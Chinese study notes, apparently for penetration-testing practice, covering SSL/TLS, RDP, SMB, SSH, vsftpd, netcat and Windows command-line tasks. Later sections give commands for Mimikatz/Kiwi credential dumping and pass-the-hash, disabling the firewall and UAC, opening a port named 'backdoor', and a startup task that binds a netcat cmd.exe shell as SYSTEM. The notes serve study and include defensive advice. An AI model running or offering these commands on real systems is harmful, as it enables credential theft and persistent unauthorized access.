协议扩展
加密协议SSL/TLS
简介
SSL(Secure Sockets Layer)和TLS(Transport Layer Security)是加密协议,设计用来提供网络通信的安全性和数据完整性。尽管TLS是SSL的后继者,但两者的核心目标相同:保护网络通信免受窃听和篡改,同时验证通信双方的身份。这些协议主要用在应用层协议(如HTTP)之上,形成如HTTPS这样的安全版本
建立连接的过程
握手阶段:
- 客户端和服务器交换"hello"消息,协商加密协议的版本,选择密码套件,以及交换其他必要的安全参数。
- 服务器身份验证:服务器发送其数字证书给客户端。客户端使用证书中的公钥验证服务器的身份,并确保证书由受信任的证书颁发机构(CA)签发。
- 密钥交换:客户端和服务器协商生成一个共享的秘密,用于会话的对称加密。这通常通过使用非对称加密技术来安全地交换对称密钥完成。
加密阶段:
- 会话密钥:一旦握手完成,客户端和服务器将使用协商的对称密钥加密通信。这确保了数据的保密性和完整性。
安全通信:客户端和服务器使用协商的参数安全地交换信息,直到会话结束。
安全特性
- 加密:SSL/TLS使用对称加密保护数据传输的私密性。选择的对称加密算法和密钥在握手过程中协商。
- 身份验证:通过使用数字证书,SSL/TLS不仅可以验证服务器的身份,还可以选择性地验证客户端的身份,提供双向身份验证。
- 数据完整性:消息摘要算法(如SHA-256)用于创建数据的散列版本,以验证数据在传输过程中未被篡改,从而保证数据的完整性。
SSL到TLS的进化
随着时间的推移,SSL协议已经发展成TLS协议,TLS引入了更多的安全特性和改进:
- 更强的加密算法:TLS支持更强大、更安全的加密算法,如AES,以及更安全的密钥交换机制,如ECDHE。
- 更严格的安全要求:TLS协议的新版本(如TLS 1.2和1.3)删除了旧的、不安全的密码套件和加密技术,强化了安全性。
- 性能改进:特别是TLS 1.3减少了握手时的往返次数,从而加快了连接的建立速度,并改进了安全性。
- 前向保密:TLS支持前向保密,这意味着即使攻击者获取了服务器的私钥,也无法解密之前的会话记录。
演示SSL/TLS的使用
要完整演示SSL/TLS的使用,我们可以通过一个简化的例子来理解SSL/TLS加密通信的基本步骤。这里,我们将使用命令行工具和伪代码来模拟客户端和服务器之间的SSL/TLS握手过程,并展示如何加密和传输数据。
步骤1:服务器配置SSL/TLS
- **生成密钥对和证书**:
-
服务器需要一个公钥和私钥对,以及一个由证书颁发机构(CA)签发的证书。
-
使用OpenSSL生成密钥对和自签名证书(仅作演示,实际应用中应使用CA签发的证书):
```bash
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=yourservername.com"
```
- **配置服务器以使用SSL/TLS**:
-
服务器软件(如Apache、Nginx)需要配置以使用生成的私钥和证书。
-
示例配置伪代码:
```plaintext
server {
listen 443 ssl;
ssl_certificate /path/to/server.crt;
ssl_certificate_key /path/to/server.key;
...
}
```
步骤2:客户端发起SSL/TLS连接
- **客户端发送客户端Hello消息**:
-
包括客户端支持的SSL/TLS版本、提议的加密算法(密码套件)列表、随机数等。
-
使用curl命令行工具模拟HTTPS请求:
curl -v https://yourservername.com
- **服务器响应服务器Hello消息**:
- 选择一个客户端和服务器都支持的协议版本和密码套件,并发送服务器的数字证书。
- **客户端验证服务器证书**:
- 客户端验证证书的有效性和信任链。
- **密钥交换和密钥协商**:
-
客户端使用服务器的公钥加密一个预主密钥(pre-master secret)并发送给服务器。
-
服务器使用自己的私钥解密以获取预主密钥。
- **完成握手**:
- 双方使用预主密钥派生出会话密钥(session keys)用于后续通信的加密。
步骤3:加密通信
-
客户端和服务器使用协商的密码套件和会话密钥加密通信数据。
-
任何传输的数据都使用这些密钥进行加密和解密,确保通信的安全。
步骤4:会话结束
- 通信结束时,双方废弃会话密钥,确保会话的前向保密。
注意事项
-
这个演示是高度简化的,实际SSL/TLS协议包含更多的细节和安全措施。
-
真实世界的应用要求使用可信的CA签发的证书,而不是自签名证书。
-
SSL/TLS配置和使用要根据实际的服务器软件和客户端库进行调整。
通过这个基本的演示,你可以了解SSL/TLS加密通信是如何在客户端和服务器之间建立的,以及它是如何保障数据在传输过程中的安全性和完整性。
RDP远程桌面协议
RDP基于客户端/服务器模型工作。在这种模型中,远程桌面客户端连接到运行RDP服务器软件的远程计算机。数据交换经过加密,确保了传输过程中的安全性和隐私保护。
- 客户端:任何请求连接的设备,需要安装RDP客户端软件。Windows系统自带远程桌面连接客户端,而其他操作系统(如macOS、Linux、iOS和Android)可以使用第三方客户端。
- 服务器:被远程访问的计算机,需要配置并运行RDP服务器端。在Windows操作系统中,这通常意味着启用"远程桌面"功能。
主要特性
- 图形界面传输:RDP提供了高效的图形界面数据压缩和传输机制,确保远程会话流畅。
- 设备重定向:允许远程会话使用本地打印机、剪贴板、硬盘驱动器等资源。
- 端口和安全性:默认情况下,RDP使用TCP端口3389。所有RDP会话数据都可以加密,减少安全风险。
- 会话隔离:每个远程桌面会话都在其独立的虚拟会话中运行,不会影响其他用户的会话。
安全性和最佳实践
虽然RDP提供了便利的远程访问能力,但它也可能成为攻击者的目标。遵循一些最佳实践可以增强RDP会话的安全性:
- 使用强密码:确保所有用户账户都使用强密码。
- 更改默认端口:更改RDP的默认监听端口(3389),减少自动扫描的风险。
- 限制访问:通过防火墙规则限制可以访问RDP服务的IP地址。
- 启用网络级别认证(NLA):NLA为RDP会话提供了一个额外的认证层次,在会话建立之前进行。
- 使用VPN:通过VPN连接访问RDP服务,增加一层网络安全保护。
- 定期打补丁和更新:确保操作系统和RDP软件定期更新,以保护免受已知漏洞的攻击。
使用方法
win+r打开命令行
mstsc:进入远程桌面
输入目标ip及密码
SMB文件共享协议
SMB(Server Message Block)协议是一种应用层网络协议,旨在实现网络上的文件、打印机、串行端口以及进程间通信的共享访问。它主要用于Windows操作系统之间的网络通信,但也可以在Linux和macOS系统上实现,并广泛用于企业和家庭网络环境。SMB通过允许计算机在网络上共享文件和打印机资源,使网络资源的访问变得更加简单和高效。
SMB的工作原理
SMB协议工作在会话层之上,使用TCP/IP协议(通常是端口445)进行传输。它可以在局域网(LAN)或通过互联网进行通信。SMB协议通过发送请求和响应消息在客户端和服务器之间建立通信,支持诸如文件打开、读取、写入、创建和删除、锁定及解锁等操作。
SMB协议的版本
随着时间的推移,SMB协议经历了多次更新和改进,主要版本包括:
SMB 1.0:最早的版本,提供了基本的文件共享功能。
SMB 2.0:引入了性能改进、安全性增强和错误更少的新协议版本,随Windows Vista和Windows Server 2008发布。
SMB 2.1:进一步提升了性能,增加了新的功能,随Windows 7和Windows Server 2008 R2发布。
SMB 3.0:为了提高数据传输的安全性和效率,增加了大量新特性,包括端到端加密、改进的故障恢复能力等,随Windows 8和Windows Server 2012推出。
SMB 3.1.1:增加了进一步的安全性能提升,如更好的加密算法,随Windows 10和Windows Server 2016发布。
ssh远程登录
SSH,全称为Secure Shell,是一种网络协议,用于加密方式远程登录和操作网络设备,保障数据传输的安全性。SSH通过在网络中创建安全的隧道来实现数据加密传输,使得在不安全的网络环境中通信也能保持私密性和安全性。
SSH的工作原理
SSH工作在应用层,基于客户端-服务器模型。用户(客户端)通过SSH客户端软件连接到SSH服务器,数据传输过程中使用密钥对进行加密,确保信息安全。
SSH的主要特性
**加密传输**:SSH使用强加密技术,确保数据在传输过程中的安全性和完整性,防止数据被截获和篡改。
**身份验证**:SSH支持多种认证机制,如基于密码的认证、公钥认证等,确保只有授权用户可以访问服务器。
**端口转发**:SSH允许将任意TCP端口通过加密隧道转发,常用于访问受限网络资源或创建安全的数据传输路径。
**代理功能**:SSH可以作为代理服务器,将其他应用程序的网络流量通过SSH隧道转发,提高其他应用的安全性。
SSH使用场景
**远程登录**:通过SSH可以安全地远程登录到服务器,进行命令行操作,是系统管理员和开发人员常用的工具。
**安全文件传输**:SSH的文件传输协议(SFTP)提供了一个安全的方法来上传和下载文件。
**远程命令执行**:SSH允许用户在远程服务器上执行命令,常用于自动化脚本和维护任务。
**网络服务加密**:通过SSH端口转发,可以为不支持加密的网络服务如SMTP和HTTP提供安全的加密支持。
使用方法:
打开命令行
ssh 用户名@ip地址
软件扩展
vsftpd
vsftpd
(Very Secure FTP Daemon,非常安全的FTP守护进程)是一款以安全为设计重点的FTP服务器软件,主要运行在Unix和类Unix操作系统上。它因其高性能、稳定性和尤其是对安全性的重视而广受好评。这里有一些关键点,让你对vsftpd有一个全面的了解:主要特性
- 安全性 :
vsftpd
提供了强大的安全特性,包括对SSL/TLS的支持,这使得通过vsftpd传输的数据可以进行加密,有效防止数据在传输过程中被截取或窃听。- 性能 :即使在处理大量并发连接的情况下,
vsftpd
也能保持良好的性能,这使其成为高流量网站和服务的理想选择。- 简易配置 :尽管
vsftpd
提供了丰富的配置选项,以满足不同用户的需求,但其默认配置已经足够安全,对新手友好,同时也为经验丰富的管理员提供了灵活的配置可能。- 广泛的应用 :
vsftpd
支持标准FTP协议,这意味着它可以与各种FTP客户端软件兼容,无论是命令行工具还是图形界面应用。安装和配置
vsftpd
可以通过大多数Unix和Linux发行版的包管理系统轻松安装。安装完成后,主要的配置工作是通过编辑其配置文件/etc/vsftpd/vsftpd.conf
来进行,其中可以设置匿名访问、用户权限、加密选项等多种参数。
渗透工具扩展
kiwi模块
Kiwi模块是Meterpreter的一个扩展,专门设计用于提取和操纵Windows登录凭证。它基于著名的Mimikatz工具,由Benjamin Delpy开发。Mimikatz是一款强大的安全工具,用于查看和保存认证凭证和敏感数据,尤其是Windows系统上的。Kiwi模块将这种功能集成到Meterpreter会话中,使得渗透测试者和攻击者可以在不离开Meterpreter环境的情况下执行类似操作。
主要功能
- 提取明文密码:Kiwi可以从内存中提取存储的明文密码,包括当前登录的用户和其他通过某些认证方式登录的用户。
- 获取登录会话信息:能够列出当前的登录会话以及对应的用户信息。
- 导出证书和密钥:Kiwi能够导出系统中存储的各种加密密钥和证书,包括但不限于Wi-Fi密码和Kerberos票据。
- Pass-the-Hash/Pass-the-Ticket:支持Pass-the-Hash和Pass-the-Ticket攻击,允许攻击者使用哈希值或票据而不是密码来伪装成其他用户。
- 凭证转储:能够转储LSASS(本地安全权限分配子系统)进程内存,这是Windows中管理登录凭证的关键组件。
使用场景
Kiwi模块的使用场景主要集中在渗透测试和安全评估的后期阶段,例如:
- 凭证收集:在成功渗透目标系统后,Kiwi可以用来收集系统上的登录凭证,以便进一步的横向移动或深入攻击。
- 访问控制绕过:通过提取的凭证或Pass-the-Hash/Ticket技术,攻击者可以绕过访问控制,访问受保护的资源。
- 持久化访问:通过导出的密钥和证书,攻击者可以创建访问后门,保持对受害系统的持续访问。
命令详解
给你提供一个详细的Kiwi模块使用示例,以展示如何在Meterpreter会话中执行基本的凭证提取操作。假设你已经成功利用了一个漏洞并且获得了一个Meterpreter会话。
**步骤 1: 加载Kiwi模块**
首先,你需要确保Kiwi模块已经加载到你的Meterpreter会话中。你可以通过以下命令加载Kiwi(如果尚未加载):
meterpreter > load kiwi
这个命令将加载Kiwi模块,使其准备好执行相关的凭证提取操作。
**步骤 2: 提取登录凭证**
一旦Kiwi模块加载完成,你可以使用不同的命令来提取或操作系统上的凭证。下面是一些常用的Kiwi命令及其用途:
- 查看明文密码:
meterpreter > kiwi_cmd creds_all
这个命令尝试从内存中提取并显示存储的登录凭证,包括明文密码。
- 导出证书和密钥:
meterpreter > kiwi_cmd crypto::certificates
此命令用于导出存储在系统中的证书和密钥。
- 执行Pass-the-Hash攻击:
meterpreter > kiwi_cmd sekurlsa::pth /user:目标用户名 /domain:目标域名 /ntlm:NTLM哈希 /run:命令
这个命令使用提供的NTLM哈希来模拟目标用户的身份,执行指定的命令。
**步骤 3: 利用提取的凭证**
提取的凭证可以用于多种目的,包括但不限于:
**横向移动**:使用提取的凭证来访问网络中的其他系统。
**访问受限资源**:使用提取的登录凭证访问特定的网络资源或数据。
**维持访问**:通过提取的凭证创建新的访问通道,以保持对受害系统的访问权限。
**安全和防御**
虽然以上示例展示了如何使用Kiwi模块进行攻击,但同样重要的是要采取适当的安全措施来保护系统免受此类攻击。这包括定期更新系统和应用程序、使用复杂密码、启用多因素认证、限制用户权限等。
通过了解攻击者的技术和策略,安全专业人员可以更好地防御此类攻击,保护组织的资产和信息安全。
nc:瑞士军刀
`nc`,或称为`netcat`,是一个非常强大的网络工具,有时候被昵称为"网络界的瑞士军刀"。它设计简洁但功能强大,主要用于读取和写入网络连接,支持TCP和UDP协议。`nc`的功能包括端口扫描、文件传输、网络服务测试、以及作为客户端或服务器在任意端口上监听。
主要功能:
**端口扫描**:`nc`可以用来检测目标主机的开放端口,帮助了解目标主机提供的网络服务。
**网络监听**:在指定端口上监听进入的连接,可以用于调试或作为简易的网络服务运行。
**建立连接**:作为客户端,`nc`可以连接到任意主机的指定端口,用于测试网络连接、发送数据或文件。
**数据转发和隧道**:`nc`可以用来设置简单的代理和隧道,将数据从一端口转发到另一个端口。
**文件传输**:利用`nc`的网络连接,可以在两台计算机之间传输文件。通过组合使用文件重定向和管道,可以轻松实现文件的发送和接收。
使用示例:
- **端口扫描**:检测目标主机的80端口是否开放
nc -zv target_host 80
- **监听端口**:在本机的1234端口上监听连接
nc -lvp 1234
**文件传输**:
发送文件:在发送端执行
nc -w 3 target_host 1234 < file_to_send.txt
- 接收文件:在接收端执行
nc -lvp 1234 > received_file.txt
windows命令行扩展
更改指定网卡网络配置
在Windows命令行中配置网卡的IPv4地址可以通过`netsh`命令行工具完成。这个工具允许你查看和修改网络配置,包括IP地址、子网掩码以及默认网关等。下面是如何使用`netsh`来配置IPv4地址的步骤:
查看现有网络适配器
打开命令提示符(CMD):按下`Windows`键,然后输入`cmd`,在搜索结果中点击"命令提示符",或者以管理员权限运行以获得更高的权限。
输入以下命令来列出所有网络适配器及其状态:
netsh interface ip show config
通过这个命令,你可以找到你想要配置的网络适配器的名称。注意适配器的名称可能包含空格,后续命令中需要正确引用。
配置IPv4地址
假设你要为名为"Ethernet"的适配器设置新的IPv4地址。你需要知道要设置的IP地址、子网掩码、以及(可选的)默认网关地址。假设我们要将IP地址设置为`192.168.1.100`,子网掩码为`255.255.255.0`,默认网关为`192.168.1.1`:
- 设置IP地址和子网掩码:
netsh interface ip set address name="Ethernet" static 192.168.1.100 255.255.255.0
- (可选)设置默认网关:
netsh interface ip set address name="Ethernet" gateway=192.168.1.1 gwmetric=1
注意事项
替换`Ethernet`为你的实际网络适配器名称。
替换IP地址、子网掩码、和默认网关为你的网络配置。
如果你不确定这些设置,请联系你的网络管理员。
配置IP地址时要确保该IP地址在局域网内是唯一的,避免IP地址冲突。
在执行这些命令后,网络连接可能会暂时中断,直到新配置生效。
重置为自动获取IP
如果之后你想要将网络适配器配置回自动获取IP地址(即DHCP),可以使用以下命令:
netsh interface ip set address name="Ethernet" source=dhcp
并且,如果设置了静态网关,你可能还需要移除它:
netsh interface ip delete address name="Ethernet" gateway=all
这些步骤让你能够手动配置网络适配器的IPv4地址,以适应不同的网络环境和需求。
更改字符编码:
C:\Windows\system32> chcp 65001
设置防火墙状态指定端口开放
C:\Windows\system32> netsh advfirewall set allprofiles state off
通过netsh工具将Windows防火墙的所有配置文件(公共、私有、域)都设置为关闭状态
C:\Windows\system32> netsh advfirewall set allprofiles state on
打开防火墙
C:\Windows\system32> netsh firewall add portopening tcp 444 backdoor enable all
开启TCP协议的444端口,允许所有网络配置文件通过该端口进行通信,规则名称为backdoor
禁用用户账户控制(UAC)
C:\Windows\system32>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.
命令解析
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg ADD: 这是Windows注册表编辑器命令行工具reg.exe的一个操作,用于添加一个新的注册表键值或更新现有的键值。
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System: 指定了注册表项的路径。这里,HKLM(HKEY_LOCAL_MACHINE)是顶级注册表项之一,包含了系统的配置信息。路径指向Windows系统的策略设置部分。
/v EnableLUA: /v参数后面跟随的是要操作的注册表值的名称,在这个例子中是EnableLUA。EnableLUA是控制用户账户控制(UAC)是否启用的注册表值。
/t REG_DWORD: /t参数指定了注册表值的类型,在这里是REG_DWORD,表示数据类型为32位数字。
/d 0: /d参数后面跟随的是要设置的数据值。0表示禁用UAC。
/f: 强制执行命令而不提示用户确认。
退出windows命令行终端
C:\Windows\system32>exit
创建定时任务
命令schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart是用来在Windows系统上创建一个定时任务,这个任务会在系统启动时自动执行。下面是这个命令的详细解析:
命令组成
schtasks:这是Windows中用来创建、删除、查询或修改系统计划任务的命令行工具。
/create:这个参数指示`schtasks`命令创建一个新的计划任务。
/tn "nc":/tn参数后面跟随的是任务的名称,在这里任务被命名为"nc"。
/ru system:这个参数指定任务将以何种用户身份运行。在这个例子中,`/ru system`意味着任务将以系统账户的权限运行,系统账户具有广泛的权限并且可以访问系统上的大多数资源。
/tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe":`/tr`参数后面跟随的是任务实际执行的命令或程序。这里指定的是执行`nc.exe`(Netcat),使用`-Ldp 444`选项在本地监听444端口,并且当连接建立时使用`-e cmd.exe`选项来执行命令提示符。
/sc onstart:这个参数定义了任务的调度周期。`onstart`表示任务会在每次系统启动时运行。
操作含义
当这个计划任务被创建后,每次计算机启动时,系统会自动以系统权限运行`nc.exe`,监听444端口,并准备在接收到连接时提供一个命令行会话。
这种配置通常被用于持久性攻击,允许攻击者在系统重启后仍然可以通过网络访问受影响的系统。
使用系统账户运行这个任务赋予了最高级别的权限给执行的命令,从而可能会带来重大的安全风险。
查看网络连接,路由表,接口统计
命令`netstat -an`是一个在多种操作系统上常用的网络命令,用于显示网络连接、路由表、接口统计等信息。特别是,在Windows、Linux和macOS等操作系统中,`netstat`命令都非常有用。现在,让我们深入了解这个命令的两个主要选项:`-a`和`-n`,以及它们共同展示的信息。
命令选项详解
-a(all):这个选项让`netstat`显示所有的活动连接和监听端口。不仅仅是TCP连接,还包括UDP端口的监听状态。默认情况下,`netstat`可能不显示监听端口或者仅显示活动的TCP连接,但加上`-a`选项后,可以获取更全面的网络活动视图。
-n(numeric):通常,`netstat`会尝试将地址和端口号解析为易于理解的名称,例如将本地地址`127.0.0.1`显示为`localhost`,或者将常用的端口号如`80`显示为`http`。使用`-n`选项后,`netstat`将不进行这种解析,而是直接显示数字形式的地址和端口号。这对于避免解析导致的延迟和当名称解析不可用时非常有用。
命令输出解析
当你运行`netstat -an`时,你会得到一份当前机器上的网络连接和监听端口的清单,这份清单按协议分类,包括TCP和UDP。对于每个连接或监听端口,它会显示:
协议:显示连接使用的协议,如TCP或UDP。
本地地址:显示本机的IP地址和端口号。在`-n`模式下,地址和端口都以数字形式显示。
外部地址:显示远程连接的IP地址和端口号。对于监听端口,这里通常显示为`*`或`0.0.0.0`,表示监听所有IP地址。
状态:对于TCP连接,显示当前的连接状态,如`ESTABLISHED`、`LISTENING`或`TIME_WAIT'等。
windows安全组件
用户账户控制(UAC)
用户账户控制(UAC)是Windows操作系统中的一个安全组件,它旨在增强系统安全性,防止未经授权的更改。UAC通过在执行需要提升权限的任务时提示用户确认,从而帮助避免恶意软件和其他威胁对系统的潜在破坏。以下是关于UAC的详细解释:
UAC的工作机制
-
**权限提升请求**:当一个应用或任务需要执行需要管理员权限的操作时,UAC会显示一个对话框,询问用户是否授权该操作。这一步骤确保了没有用户的明确许可,系统不会进行可能影响系统配置或安全的更改。
-
**限制模式运行**:即使用户以管理员账户登录,大多数应用和任务也是以限制权限模式运行的。只有在用户明确同意提升应用权限时,应用才能以管理员权限运行。
UAC的重要性
-
**防止未经授权的更改**:UAC通过要求用户确认,减少了恶意软件或用户无意中进行的可能对系统造成损害的更改。
-
**强制实行最小权限原则**:通过运行限制模式,即使是管理员用户也不会不必要地使用高权限,从而降低了系统面临的风险。
-
**提高安全意识**:UAC的提示可以提醒用户注意正在执行的操作可能对系统安全性或配置造成的影响。
配置UAC
Windows允许用户根据需要调整UAC的敏感度。通过访问"控制面板" > "用户账户" > "更改用户账户控制设置",用户可以选择不同的通知级别。这些级别从从不通知(最低安全性)到始终通知(最高安全性),用户可以根据自己的需要选择一个合适的设置。